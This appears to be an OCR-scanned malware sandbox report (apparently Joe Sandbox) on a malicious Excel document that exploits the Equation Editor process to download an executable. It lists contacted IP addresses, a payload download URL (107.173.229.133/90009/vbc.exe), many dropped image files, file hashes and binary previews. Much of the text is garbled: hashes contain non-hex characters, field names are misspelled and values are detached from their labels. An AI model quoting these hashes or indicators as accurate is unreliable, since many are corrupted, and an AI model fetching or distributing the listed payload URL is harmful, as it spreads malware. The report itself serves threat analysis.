192.0.72.134
192.0.78.24
192.0.78.24
74.114.154.22

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: downloaded

Size (bytes): 444416

Entropy (8bit):  7.8422896972903535

Encrypted: false

SSDEEP: 12288:0bap00XixBFm3xtkw+Z9Gc6veu/3G/rTX:Obs00Xi1K+2P+

MD5: 6926A53FA91CAB577D52942A39E5FB53

SHAL: C15DFC5E94CA97D47FD89DCDC42CC03888334C91

SHA-256: 1BA605473B6FC3B244F25A8838E41A642DBF9566D347D3EA084E96BBESSAEBDE
SHA-512: 02AFC62CCF5C48DD3BFDC2E26EB3C6B997C65DC499D793568D04C3410B0A8961E9C7F738E7E43324D167460C6418EC911CC815A87158680D128D7F80455338F
Malicious: true
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https://view.joesandbox.com/analysis/403282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403282/html/none?idtype=webid
https://view.joesandbox.com/analysis/401871/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401871/html/none?idtype=webid
https://view.joesandbox.com/analysis/401817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401817/html/none?idtype=webid
https://view.joesandbox.com/analysis/400849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400849/html/none?idtype=webid
https://view.joesandbox.com/analysis/400682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400682/html/none?idtype=webid
https://view.joesandbox.com/analysis/397161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397161/html/none?idtype=webid
https://view.joesandbox.com/analysis/397155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397155/html/none?idtype=webid
https://view.joesandbox.com/analysis/397152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397152/html/none?idtype=webid
https://view.joesandbox.com/analysis/397135/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397135/html/none?idtype=webid
https://view.joesandbox.com/analysis/397130/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397130/html/none?idtype=webid
https://view.joesandbox.com/analysis/396575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396575/html/none?idtype=webid
https://view.joesandbox.com/analysis/416390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416390/html/none?idtype=webid
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid
https://view.joesandbox.com/analysis/415839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415839/html/none?idtype=webid
https://view.joesandbox.com/analysis/415016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415016/html/none?idtype=webid
https://view.joesandbox.com/analysis/414534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414534/html/none?idtype=webid
https://view.joesandbox.com/analysis/413835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413835/html/none?idtype=webid
https://view.joesandbox.com/analysis/413416/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413416/html/none?idtype=webid
https://view.joesandbox.com/analysis/413413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413413/html/none?idtype=webid
https://view.joesandbox.com/analysis/413324/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413324/html/none?idtype=webid
https://view.joesandbox.com/analysis/413232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413232/html/none?idtype=webid
https://view.joesandbox.com/analysis/412847/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412847/html/none?idtype=webid
https://view.joesandbox.com/analysis/412733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412733/html/none?idtype=webid
https://view.joesandbox.com/analysis/412529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412529/html/none?idtype=webid
https://view.joesandbox.com/analysis/412242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412242/html/none?idtype=webid
https://view.joesandbox.com/analysis/412113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412113/html/none?idtype=webid
https://view.joesandbox.com/analysis/411856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411856/html/none?idtype=webid
https://view.joesandbox.com/analysis/411571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411571/html/none?idtype=webid
https://view.joesandbox.com/analysis/410355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410355/html/none?idtype=webid
https://view.joesandbox.com/analysis/410311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410311/html/none?idtype=webid
https://view.joesandbox.com/analysis/410009/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410009/html/none?idtype=webid

Reputation: low
IE Cache URL:  hitp:/107.173.229.133/90009/vbc.exe

Preview:

1..L.IThis program cannot be run in DOS mode....$....... PE.L..(B.a
sotextlo

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\30913362.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 68702

Entropy (8bit):  7.960564589117156

Encrypted: false

SSDEEP: 1536:Hu2p9Cy+445sz12HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9wlHCIOTKEhQw

MDS5: 9BBC6AB5CD2CC1A2622CC4BB10D745C0

SHA1L: E3C68E3F16AE0A3544720238440EDCE12DFC900E

SHA-256: AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FEQ

SHA-512: 407F29E5F0C2F993051E4BOC81BF76899C2708A97B6DFAE84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC71
Malicious: false

Reputation: moderate, very likely benign file

Preview:

. oo AEX(Title....".. IDATX...y|T.2.1.3. .$.D..(V....Q..... W.[..Z..- *HImMM...4V..BU.V@,h.t....}..cr.3....
" HY.Y. K. AP..C.. .e.n@7B.{Q.S.HDDDDDDDD........... \bxHDDDDDDDDD. 1<$"" d2Y@9' @c.v..8P..0"..
Ao [ ot b 0....82.8 .UMp"....Z8.2;.B.. .y N.....€e A MK M. A 7 Z[[E....B..NF.55. " (| d.3% E.=..[0...0....N..._{.-~.M.3...px

(5.1t & RV 1SN X0 ME™™™ S, T ALBPAXX(ue UL B[ oG OR Lo VD5 [A.2..0.86....5.0.NT o G Vot~ OBLH. | B

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\49DB89C0.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 19408

Entropy (8bit):  7.931403681362504

Encrypted: false

SSDEEP: 384:6L3Vdo4yxL8FNgQ9jYtUO5Zn4tlQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXnYfTs6EJIL

MD5: 63ED10C9DF764CF12C64E6A9A2353D7D

SHAL: 608BEOD9462016EA4F05509704CE85F3DDC50E63

SHA-256: 4DAC3676FAA787C28DFA72B80FES42BF7BESB6AAD31243F63E78386BC5F0746B3

SHA-512: 9C633C57445D67504E5C6FE4EAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EFO01A98CF6C585D439B4A

Malicious: false

Preview:
PNG.......IHDR............. L.l... IDATX..g.1y&X".{;t@F. .. .D*Q.el. #[.5~IK3...2.3.gW...".=;.FV..%..d..%R. E.....F.ts<.X..f..F..5]..5..UL.W.U.....9..A..U/...g.W......I...pG..2..
XeW. L WG 2. X Wi mea>. R XUULALLLLY L AQUNAL . X6 . |.].Q..(...C. AL Z.... (.f4..Uu=..0.D.0}....y6.....)l.....G{zN.M,...%%..,...|....y....G.LOO..2....7..-

S Ml q.0}.G...72...hd.=t.c..eY...... 39..|0..x...|.../[F....0.._|..2.0.......... C.X_..7VF.0....B>. K. V..P(..c..4.s.KK"c(..}0..._z. }y<<...<A~ 7.k
rW~.Co_...$JiW._~e Jnvv. AN42 5L.Q(L$.. (vidd. 8.y Z{.. L.~ k...2...@@0...BK..2.r..7..9u..w>w.C..j.n.a.V.?.?..e
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4C948E5C.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 6364

Entropy (8bit):  7.935202367366306

Encrypted: false

SSDEEP: 192:joXTTTt+cmceZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zIOEfiTeDEGXDR

MD5: A7E2241249BDCCOCE1FAAF9FAD5C32AF

SHAL: 3125EA93A379A846B0D414B42975AADB72290EB4

SHA-256: EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

SHA-512: A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT72277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

Malicious: false

Preview:
.PNG

MEJA$G.T.AJIN....0...B..g=...{.5.1..1.9.2.Y.._..3K Yecoooo......@ID...)..KQ........£.DD.1..._@JD...)..K..DD.1....@JD...)..K..DD.1....@JD...)..K..DD.....9.sdKV.\.R[..k...E
_3...ee.l \WI..E&6.\].'K..X.0.%.EE.."..}..[c....2n..R..V..USLRt .-xw*.... #..._...|..KI". H....eKN....9...{%....*7..6Y.."..._P...."ybQ.....0J'z..%..a.$<m.n"..[.0O~.I.

{Mu3.yX...\...5.a.zNX.9.. .. - ..=.u.?ee9..11:={1....). k..F@PIf....9..K>.{..}...h9.b..h..w.... A~ .u..
9..x..C=.J3J.h...K2.... ../I.=3C.6k.]...dD......tP.e..-+*. }.\.Yrss4.. .i.f. . A7l..uM...v.uY_V|].-Oo........... _s@c.... ... R7>"j*S..{..w.iV..UR..SJ.hy.W3...2Q@f......,.....
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\566AA7FB.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 14828

Entropy (8bit):  7.9434227607871355

Encrypted: false

SSDEEP: 384:zI1ZYVvfv3ZOxvHe5EmIbliA2riIBMWWTXRRO/QX:Td3Z46xiXzW/kO

MD5: 58DD6AF7C438B638A88D107CC87009C7

SHA1L: F25E7F2F240DC924A7B48538164A5B3A54E91AC6

SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67AOCACABA453A

SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80°

Malicious: false

Preview:
PNG........ IHDR............. L.l... IDATX..gp\.y>~V..WTb... ...M.H...d.J..3. 8 (L&IM.d.0..$. 4D ...k,J.b3%QDLBL,......... p ........... {.90..W.q.Y.gM.g=.5"dm.V..M.. ><
6...9=.R(.N"0&I(..B2.\...|t...R.T......J..Q.U....F.I.B\..B.Z-...D").., .. . | (ccc V....al6KQ...000...d.fxx..k .
NASN...e2............ b..7..8@.tgg.}.. Ue7 .G ..J.d2)..BIM..I..T*Q.%..X z..*abbB* j\J(b B R...L&.X.eYV". .- R)B.T*M&..pX*.Z..9.. F
Z2.6...b\./%..~...).B<.T*z.D"..(.\...d2YKKK..mm.T*. . T*..1$.x<..J..q..*.J X O> .C.d2Jl......#...xkk.B.(....D 8 £..0>VC%MNN].ZHZ... . T....,. A 1$.q.\f....eY..8.+..
.. dd.b.X,.BH.T..4-. X.EV.|&.p....... 0.P(.J.\>66.a.X,..><<..V.R.T*...d2,;v....W.511.u.a...."."...zKk.m.t:]__...0gQ9.0....ccurveen Y..z.a... {..%.H..f...nw*... .ND"...P(D"... .H.
|>/.Hd2....EQ.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\597470CA.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 600 x 306, 8-bit colormap, non-interlaced

Category: dropped

Size (bytes): 42465

Entropy (8bit):  7.979580180885764

Encrypted: false

SSDEEP: 768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJctLo63a8dydV+3WOa+90sZsSyMs+

MD5: C31D090D0B6B5BCA539DOE9DB0OC57026

SHA1L: DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886

SHA-256: 687AFECEEGE6E286714FD267EOF6AC74BCA9AC6E469F4983C3EF7168C65182C8D

SHA-512: B23CA96097C2F5ED8CC251COD6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICFSECE43A82BD8F06383876B24
56

Malicious: false

Preview:
PNG heme I'......qiG.O\LC....

...... UX eI ho+ e L AH?> tRNS.@..f..0IDATX..Z.5.4.].".F..Y.5.4...WhiM..]Cv.Q......e.

Xooo = X.0.%K. .. XL brGLsWi~g. Tu. .U.R..W.V.U#TAr?..2}.C3.K...P..n.A.av?C..J.}.e]..CA_y....~2N.Z2.".@.....)...s.(..ey...{)e.*]\-.yG2Ne.B...\@q....8.... W./i
.C.P*.0.e. 7/ k.t.]"[.F..y...0.3.0).Z.1RbU]BY..RNR...D*.... =(tL.W.y...n\.s..D.5.....c....8A....;;.)..].a]...;B0...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.
t..q.5....fh...DPyJ*.  E....K.....E%i.C.V.\...z r7.V..q."...3.E3J8Ct.ZGL).Rlb

C:\Usersl\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7B2EFE3F.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 6364

Entropy (8bit):  7.935202367366306

Encrypted: false

SSDEEP: 192:joXTTTt+cmcZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfTeDEGXDR

MD5: A7TE2241249BDCCOCE1FAAF9F4D5C32AF

SHA1L: 3125EA93A379A846B0D414B42975AADB72290EB4

SHA-256: EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

SHA-512: A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT72277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

Malicious: false

Preview:
.PNG ....SRGB......... gAMA......a....pHYs......... o.d...tEXtCreation Time.2018:08:27 10:23:35Z......DIDATX"....M...... 3c0f0.2.90....... S PRAYAR YA

MEJA$G.T.AJJN....0. .B..g=...{.5.1..].9.2.Y.._..3K.y...... .@JD...).KQ......... f.DD.1....@JD...).K..DD.1..... @JD ).K DD1 ..... @JD...)..K..DD.....9.sdKV.\.R[..k...E
.3...ee.L.WI...E&6.\]..'K..x.0..%.EE..".. }..[c...2n..R..V.USLRt.-xw*.... #.._...L.Kk!". H..eKN...9..{%..*7.6Y."...P.."ybQ...J)z.%.a$<m.n".[.fO~.r.
{Mu3.yX..\...5.2.zNX.9..-[.....QU.r .gZ...&{....$..".Lu..]Z"" ] .K|.z.3....H.../..k7.1>y.D..._ =u?ee 9. 11={1]....). k..F@P|f...9..K>.{..}..h9.b..h..w... A~ .u.]|
9.x..C=J33.h...K2.... ../l.=3C.6k.]...JD.....tP.e..-+*.}.\.Yrss4.. .i.f. . A7l..uM...v.uY_V|].-Oo........... _s@c.... ... R7>"*S.. {..Ww.iV..UR..SJ.hy.W3...2Q@f......,.....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7C45E1A5.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PNG image data, 600 x 306, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 42465

Entropy (8bit): 7.979580180885764
Encrypted: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7C45E1A5.png

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJIctLo63a8dydV+3WOa+90sZsSyMs+
C31D090D0B6B5BCA539DOEIDBOC57026

DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886
687AFECEE6E6E286714FD267EO0F6AC74BCA9ACE469F4983C3EF7168C65182C8D

B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICF8ECE43A82BD8F06383876B24
56

false

............................................. >Jg.....h.m...........l...gjG.9\LC....
tRNS.@..f...0IDATx..Z.s.4.].".F..Y.5.4]..WhiM..]Cv.Q......e.
X..o.~X.0.%K. ... X.....brG..sW:~g.Tu...U.R..W.V.U#TAr?..?}.C3.K...P..n..A..av?C..J.}.e.]...CA._y.. 2NZ2.0.@......)...s.(...ey.....{)e.*]\-.yG2Ne.B...\@q....8....W./i
.C.P*.0.e. 7 .k.t..]"[.F..}y...0.3.90).Z.tRbU]BY..RNR..D*. ... =(tL.W.y....n.\.s..D.5.....c....8A....;;.)..].a]...;B0...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.
t..q..5....fh....DPyJ*. . E.....K... ....E%i..C.V.\.....2 \r7.V...q."....3..E3J8Ct.Z...GI.).R!b

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A725389E.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

498420

0.6413537721183393

false
384:uXXWBKNWZ3cJuUvmWnTG+W4DH8ddxzsFfW3:AXwBkNWZ3cjvmWa+VDO
452FD391823F8EA7FF873D15392FFEAF
11FDC1B34439B07865826D9A4E18963F10468F56
BE229A40AB073E6A8268D06BAB2EF2EC3F36984F135254C217100D03CC3CB538

EFC833ACB5BA6854AC058886C8BFA72B04DF7AB6DA062D642FCDB42D2958D54B721CA83806C96A8F8A4EB48B994BBCD25F2A1EA75ADDBDAOASESDFS0CELS
3686

false

B 2. I = V1 < S \K.NC.Foopors  EMF+.@ ... X..X..F.\.P EMF+'@...... @ $@...o... 0@............. 2
@........@ %o Y0 R..p @ Calibri ... LL@1.%

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B8B07368.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

dropped

14828

7.9434227607871355

false

384:z12YVvfv3ZOxvHe5EmIbliA2rIBMWWTXRRO/QX:Td3Z46xiXzW/kO
58DD6AF7C438B638A88D107CC87009C7
F25E7F2F240DC924A7B48538164A5B3A54E91AC6
9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CACABA453A
C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80’

false

PNG....... IHDR............. L.l.. IDATx..gp\.y>~V..WTb... ....M.H...d.J..3.8.(L&IM.d.0..$..q.D.I.....k,J.b3%QD! Bt,......... p.t...x?"...{.90..W.q.Y.gM.g=.5"dm.V..M...iX..
6...0=.R(..N".0&.I(..B2..\...|.t......R.T......0..Q.U...F.I.B\..B.Z-....D")..,.J.....u.L.#... .AP.i...3.Ul...RL.9.....~..r.N.... Je,...l.(..CCC...v....a.l6KQ...000...d.fxx...k "...5.
NASN...e2............ b..7.8@.tgg.}..Ue7..e.G .".J.d2)..BIM... T*Q.%. . X......{.....q.\,. 2. #abbB*..j\.J.(D.cer > R....L&. .X.€YV". - R)B.T*M&..pX*.Z..9..F.
Z2.6...b\./%..~...).B<.T*z.D"..(..\...d2YKKK...mm.T*. .L.T*..1$.x<..J..q..*.J .X..0>...C.d2JI......#....xkk.B.(....D .8..t:..0>....vC%MNNj.ZHZ....".T....,..A....1$.q.\f.....eY..8.+..
. dd.b.X,.BH.T..4-. X.EV.|&p....... O.P(.J.\>66.a.X,...><<..V.R.T*...d2,;v....W.511.u.a..."....zkk. m.t]__...ggg.0............. Y.z.a..{%H.f.nw..... ‘ND"...P(D"... .H.
>/ Hd2...EQ.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\CED70334.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

dropped

10202

7.870143202588524

false
192:hxKBF046X6nPHvGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b740lylZ+c5xIYF5Sgd7tBednd
66EF10508ED9AE9871D59F267FBE1SAA

E40FDBO9F7FDA69BD95249A76D06371A851F44A6
461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD
678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B3!

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\CED70334.png

Preview:
PNG........ IHDR....ccccvee |....sRGB......... gAMA.....a....pHYs.......... 0.d..'0IDATx".k...u.D.R.b\J"Y.*.".d.|pg..2.r,.U.#.)F.K.n.)JI)." . T.... .U H. LA\<LUKL.DQ™ (R >.s..t.w.
> U..>sl P ZH3y. S [..@]......... Z E..Y{,<y.Xx..O... LMo R '0..kh.0./.3.7.V..@t........ Xeworo™ AW @...ATNLOL/N.
Ah.....D....M.B.aja.aim..D...M.B.alaa..... AJh.0.....P41..-........ &.1..LX. N F7[.z.?2...&.gF}} L.+ Jw.~Aw....V..-....B, W.5..Py...>
[.....0.t.6U<..@.....qE9.nT.u..."..AY.?...Z<.D.t..HT..A.....8.)..M..k\...v..."..A..?.N.Z<.D.t.Htn.0.sO...0..wF.. W.#H...!p....h...| V+Kws2/.....W*....Q.,...8X.)c...M..H.|.h.0....R..

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DS8EOD407.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 11303

Entropy (8bit):  7.909402464702408

Encrypted: false

SSDEEP: 192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIjBswpJuaUSt:ODy31IAjObL/EKVIKVFgFg6UUjOmMJIN

MDS5: 9513E5EF8DDC8BODIC23C4DFD4AEECA2

SHA1L: E7FC283A9529AA61F612EC568F836295F943C8EC

SHA-256: 88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

SHA-512: 81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢
D

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\ECCEF5B6.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 11303

Entropy (8bit):  7.909402464702408

Encrypted: false

SSDEEP: 192:064BSHRaEbPRI3ILtFObLLbEXavIkkTx5QpBAenGIC1bOgjBS6UUIjBswpJuaUSt:ODy31IAjObL/EKVIKVFgFg6UUIjOMJIN

MD5: 9513E5EF8DDC8BOD9C23C4DFD4AAEECA2

SHA1L: E7FC283A9529AA61F612EC568F836295F943C8EC

SHA-256: 88A52F8A0BDES931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

SHA-512: 81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢
D

Malicious: false

Preview:

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F3943643.png

Process: C:\Program Files\Microsoft Office\Office lL4\EXCEL.EXE
File Type: PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 68702
Entropy (8bit):  7.960564589117156
Encrypted: false
SSDEEP: 1536:Hu2p9Cy+445sz12HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9wlHCIOTKEhQw
MD5: 9B8C6AB5CD2CC1A2622CC4BB10D745C0
SHAL: E3C68E3F16AE0A3544720238440EDCE12DFC900E
SHA-256: AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FEO
SHA-512: 407F29E5F0C2F993051E4BOC81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FCT71
Malicious: false
Preview:
PNG........ IHDR.......coevve.pHY S +.....tIME......&...T...tEXtAuthor....H....tEXtDescription.../#.... tEXtCopyright....:.... tEXtCreation time.5....... tEXtSoftware.]p.:....t

EXtDisclaimer......... . AEX{Title... . IDATX..Y|T.?2.1.3. .$.D..(v...Q.q.... W.[...Z..-*HImm...4V..BU..V@,h.t....}..cr.3....
...B3s.....|.}.G6j.t.Qv.. HILLY. KV T Q. MP..C. .e.n@7B.{Q.S.HDDDDDDDD ".....d2Y@9 @c.v..8P...0"..
al...<...t. .tt.._.0...82.% .UMp"..Z8.a;B. ..y .I". . .e...}+M.K.M.A7Z[[E..B..nF.5." (.....d.3*.E.=..[0o...0....n..._{.-.M.3...px

(5.41t.&. . d.RL...LS" N L LS TLALBPAXX( ..U fl8 [\...q..9R../.....v.b.5.r‘.[.A..a.....a6......S.o.h7...........g..v..+.~.oB.H..|..§...

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F4194C49.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F4194C49.png

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 19408

Entropy (8bit): 7.931403681362504

Encrypted: false

SSDEEP: 384:6L3Vdo4yxL8FNgQIjYtUO5Zn4tlIQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXnYfTs6EJIL
MDS5: 63ED10C9DF764CF12C64E6A9A2353D7D

SHA1L: 608BEOD9462016EA4F05509704CE85F3DDC50E63

SHA-256: 4DAC3676FAA787C28DFA72B80FE542BF7BES6AAD31243F63E78386BC5F0746B3

SHA-512: 9C633C57445D67504E5C6FE4EAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EF01A98CF6C585D439B4A
Malicious: false

Preview:

IHDR............. L.l... IDATX..0.].y&X"..{;.t@F. .. .D*Q.el.#[.5~IK3...z.3.gw...".=,.FV..%..d..%R..E......F.ts<.X..f..F..5|..s...UuLW.U...L9..A..ul..g.w.....Ix...pG..2..

Ree XJULA....].Y.L.L..]JAQ.h4...x..\6....|.i..]..Q..(...C..A..Z... (j.f4..u=..0.D.0j....y6...... ) LI G{zn.M,..?#..,...|....y...G.LOO..?....7..-
...hd=t.c.eY...... 3g..[0..x...]../[F....0.._|..2.0..........c. X _..7VF..0....B> . . H.V..P(....c....4..s.. KK C(.... .0 _Zo Jy<<i < AT LK

rW~.Co_.$Joi W~ Wp.....q........G.VA.D.E...... v AN42 £0.Q(.8.. (vidd. 8.y Z{ . L~ k2. @@0...Bk..2.r..7...9u..w.>w.C..j.n..a. V.?..2.e

s#.G...1.&l.)..).J.>. . +MnAW.._...D.. K.....8.N_.v.>y.@0..,/......>.a.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FB3FE2AD.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 10202

Entropy (8bit): 7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBFo46X6nPHvGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b740lylZ+c5xIYF5Sgd7tBednd

MD5: 66EF10508ED9AE9871D59F267FBE1SAA

SHAL: E40FDB09F7FDAG9BDI95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1EO0E16C149A006FD

SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B3!

Malicious: false

Preview:
.PNG gAMA.....a....pHYs......... 0.d..'0oIDATX K...u.D.R.b\J"Y.*.".d.|pg..2.r,.U#)F.K.n.).JN). .. T HL L A<LLUKL.DQ L (R > s tw.
